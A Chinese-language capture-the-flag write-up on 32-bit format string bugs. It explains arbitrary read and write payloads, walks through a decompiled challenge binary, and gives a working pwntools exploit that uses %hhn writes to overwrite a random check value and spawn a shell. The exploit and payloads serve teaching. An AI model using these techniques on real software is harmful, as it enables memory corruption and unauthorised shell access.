格式化字符串漏洞

这里深入回顾一下格式化字符串漏洞(32位)

任意位置读写

如果输入内容在栈偏移的第五个字节,可以这样泄露 \x01\x80\x04\x08%5$s 08048001 的内容

同理,\x8c\x97\x04\x08%5$n 可以完成覆盖 08049748c 内容为 4 (前边字符数),而 \x8c\x97\x04\x08%2048c%5$n 可以完成覆盖 08049748c 内容为 2048+4

“一分为四”

以“第五空间”的 五蘊 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]

v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf); ------------------漏洞点
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}

main 函数很简单,就是看你输入的和 urandom 一样不,这不废话,我们只能覆盖掉 unk_804C044 内容

思路

首先确定偏移量

1
2
your name:%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 
Hello,fff23058.63.0.fff2307e.3.c2.f7e696bb.fff2307e.fff2317c.252e7825.78252e78.2e78252e

了解了,从第十个字节,之后上 exp ,来自大佬

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#context.log_level='debug'
r=process('./5')

target=0x804c044
pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn'
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(0x10101010))
r.interactive()

我们看一下 pay ,第 10 个参数是 0x804c044 这个字节,把它改成 10 ,第 11 个是 0x804c044+1 ,也改成了 10 ,后两个同理,之后直接发送 r.sendline(str(0x10101010)) ,就可以了